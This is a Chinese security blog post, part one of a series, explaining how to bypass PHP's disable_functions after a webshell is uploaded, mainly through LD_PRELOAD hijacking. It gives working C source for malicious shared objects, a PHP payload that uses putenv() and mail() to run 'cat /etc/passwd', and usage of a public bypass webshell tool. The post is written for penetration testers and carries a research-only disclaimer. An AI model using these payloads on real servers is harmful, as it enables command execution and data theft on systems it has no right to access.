FSRC教你绕过disable_functions

百家 作者:焦点安全应急响应中心 2022-07-15 20:01:37
01
前言

FSRC经验分享”系列文章,旨在分享焦点安全工作过程中的经验和成果,包括但不限于漏洞分析、运营技巧、SDL推行、等保合规、自研工具等。

欢迎各位安全从业者持续关注!


约4700字   推荐阅读时间:12分钟



02
disable_functions介绍

为了安全,运维人员会禁用PHP的一些“危险”函数,将其写在php.ini配置文件中,就是我们所说的disable_functions了。例如:

passthru,exec,system,chroot,chgrp,chown,shell_exec,proc_open,proc_get_status,popen,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,link

如果在渗透时,上传了webshell却因为disable_functions禁用了一些函数,导致无法命令执行,这时候就需要去进行绕过。


本文整理了互联网上相关的案例及分享,加上了自己复现时的一些经验总结。因篇幅较长,分为上下两部。本文为上部,介绍常规的绕过及利用LD_PRELOAD变量绕过的方法。



03
常规绕过方法

disable_functions其实是一个黑名单机制,即便是通过disable functions限制危险函数,也可能会有限制不全的情况。

如果运维人员安全意识不强或对PHP不甚了解的话,则很有可能忽略某些危险函数,常见的有以下几种。

  • exec() 

  • shell_exec() 

  • system() 

  • passthru() 

  • popen() 

  • proc_open() 

  • pcntl_exec() 【要求php安装并开启pcntl插件】


03
利用 LD_PRELOAD 环境变量

在Linux中,LD_PRELOAD是与载入函数库相关的环境变量,它允许指定在程序运行前优先加载的动态链接库。

LD_PRELOAD 绕过 disable_functions 的原理就是劫持系统函数,使程序加载恶意动态链接库文件,从而执行系统命令等敏感操作。



利用条件


想要利用LD_PRELOAD绕过,需要满足以下条件

  • linux环境

  • 能够上传自己的.so文件

  • 能够控制LD_PRELOAD环境变量的值,比如putenv()函数

  • 因为新进程启动将加载LD_PRELOAD中的.so文件,所以要存在可以控制PHP启动外部程序的函数并能执行,比如mail()、imap_mail()、mb_send_mail()和error_log()函数等



本地劫持案例


首先以id命令为例,来改变id命令。


首先用strace命令跟踪id命令的实际调用情况,看调用了哪些函数,strace会记录和解析命令进程的所有系统调用以及这个进程所接收到的所有的信号值。

strace -f id

像geteuid()这种简单的无参系统函数就是比较好的劫持对象。


查看 geteuid 系统函数需要什么头文件和格式:

man 2 geteuid


根据格式编写恶意geteuid函数:
#include <unistd.h>#include <sys/types.h> uid_t geteuid(void){        system("cat /etc/passwd");}

生成动态链接库:

gcc --share -fPIC bad.c -o bad.so

使用 LD_PRELOAD 加载刚生成的 bad.so,再执行 id 命令看看效果
LD_PRELOAD=./bad.so id



可以看到执行了自定义的恶意代码。



劫持进程


但是上面劫持函数的方法依赖于函数是否可用,使用最多的sendmail有可能目标系统未安装,或者未开启。

如果在加载时就执行代码(拦劫启动进程),而不用考虑劫持某一系统函数,那就可以不依赖 sendmail 。


GCC 有个 C 语言扩展修饰符 __attribute__((constructor)),可以让其修饰的函数在main()函数之前执行,若它出现在共享对象中时,那么一旦共享对象被系统加载,将立即执行。

这一细节非常重要,很多朋友用 LD_PRELOAD 手法突破 disable_functions 无法做到百分百成功,正因为这个原因,不要局限于仅劫持某一函数,而应考虑拦劫启动进程这一行为

__attribute__((constructor))写一个函数:

#include <stdlib.h>#include <unistd.h>#include <sys/types.h> __attribute__((constructor)) void hack(void){        unsetenv("LD_PRELOAD");        system("echo 'I am hacking'");}#include <stdlib.h>#include <unistd.h>#include <sys/types.h>__attribute__((constructor)) void hack(void){        unsetenv("LD_PRELOAD");        system("echo 'I am hacking'");}

编译之后,用LD_PRELOAD加载生成的so文件来执行命令:


和上面劫持函数不同,这时可以执行任意命令,而不是仅仅局限于调用了geteuid的id命令。

也就是说在 PHP 运行过程中只要有新程序启动,在我们加载恶意动态链接库的条件下,便可以执行 .so 中的恶意代码。


比如 PHP 中经典的 mail() 函数,看看当 PHP 执行 mail() 函数的时候有没有执行程序或者启动新进程

strace -f php -r "mail('','','','');" 2>&1 | grep -E "execve|fork|vfork"strace -f php -r "mail('','','','');" 2>&1 | grep -E "execve|fork|vfork"


可以明显发现 mai() 函数使用 execve 启动了 sendmail。

删掉sendmail其实也可以运行,因为实际上真正加载了动态链接库的其实是/bin/sh 的进程,其实可以使用__attribute__((constructor)) ,直接劫持/bin/sh 的库函数即可,方法与上面劫持sendmail一致。用__attribute__((constructor)) 是因为可以不用挑选库函数,方便利用。



回显利用




编写自定义C函数:

#include <stdlib.h> __attribute__((constructor)) void j0k3r(){    unsetenv("LD_PRELOAD");    if (getenv("**cmd**") != NULL){        system(getenv("cmd"));    }else{        system("echo 'no cmd' > /tmp/cmd.output");    }}

使用 gcc --share -fPIC bad.c -o bad.so 生成so文件

<?php//注意这里putenv的cmd的参数要和c函数里面的一致,这里我们统一为cmd,换成其他的也可以,参数名一样就可以putenv("cmd=cat /etc/passwd");putenv("LD_PRELOAD=./bad.so");mail('','','','');?>

运行该 PHP 文件即可成功执行命令,就算没有安装 sendmail 也能成功利用。

如果 mail() 函数无法使用,也可以使用 error_log('',1) 或者 mb_send_mail('','','') 和 imap_mail("1@a.com","0","1","2","3")(如果 PHP 开启了 imap 模块)


关于unsetenv()



调用unsetenv()的原因是:

我们通过 LD_PRELOAD 劫持了启动进程的行为,劫持后又启动了另外的新进程,若不在新进程启动前取消 LD_PRELOAD,则将陷入无限循环,所以必须得删除环境变量 LD_PRELOAD。最直观的做法是调用 unsetenv("LD_PRELOAD")

这在大部份 linux 发行套件上可行,但在 centos 上却无效,究其原因,centos 自己也 hook 了 unsetenv(),在其内部启动了其他进程,根本来不及删除 LD_PRELOAD 就又被劫持,导致无限循环。


所以,需要找一种比 unsetenv() 更直接的删除环境变量的方式。全局变量 extern char** environ实际上unsetenv() 就是对 environ 的简单封装实现的环境变量删除功能。

具体利用:https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD



利用过程


工具简介




工具:https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD

项目中有三个关键文件,bypass_disablefunc.php、bypass_disablefunc_x64.so、bypass_disablefunc_x86.so。

bypass_disablefunc.php 为命令执行 webshell,提供三个 GET 参数:

<http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so>

一是 cmd 参数,待执行的系统命令(如 pwd);

二是 outpath 参数,保存命令执行输出结果的文件路径(如 /tmp/xx),便于在页面上显示,另外该参数应注意 web 是否有读写权限、web 是否可跨目录访问、文件将被覆盖和删除等几点;

三是 sopath 参数,指定劫持系统函数的共享对象的绝对路径(如 /var/www/bypass_disablefunc_x64.so),另外关于该参数,应注意 web 是否可跨目录访问到它。此外,bypass_disablefunc.php 拼接命令和输出路径成为完整的命令行,所以不用在 cmd 参数中重定向。


利用




想办法将 bypass_disablefunc.php 和 bypass_disablefunc_x64.so 传到目标机器有权限的目录中。

指定好三个 GET 参数后,包含bypass_disablefunc.php 即可突破 disable_functions。

执行 cat /proc/meminfo


蚁剑有插件也可以直接利用



6
下篇预告


FS下篇将介绍更多特定的绕过姿势,包括 利用shellshock、利用PHP垃圾收集器堆溢出、利用apache Mod CGI、利用iconv、利用Fast CGI协议等方法,绕过disable_functions的姿势。尽请期待


5
参考资料及免责声明

PHP 突破 disable_functions 常用姿势以及使用 Fuzz 挖掘含内部系统调用的函数(by J0k3r)

https://www.anquanke.com/post/id/197745#h3-2


【PHP绕过】LD_PRELOAD bypass disable_functions(by 丶4ut15m)

https://blog.csdn.net/xia739635297/article/details/104641082/


本文中提到的相关资源已在网络公布,仅供研究学习使用,请遵守《网络安全法》等相关法律法规。


本文编辑:小错





精彩推荐




几个小技巧,绕过SSRF的黑白名单

PHP反序列化漏洞

管好你的API——API的安全防护


焦点安全,因你而变
焦点科技漏洞提交网址:https://security.focuschina.com


关注公众号:拾黑(shiheibook)了解更多

[广告]赞助链接:

四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/

公众号 关注网络尖刀微信公众号
随时掌握互联网精彩
赞助链接
百度热搜榜
排名 热点 搜索指数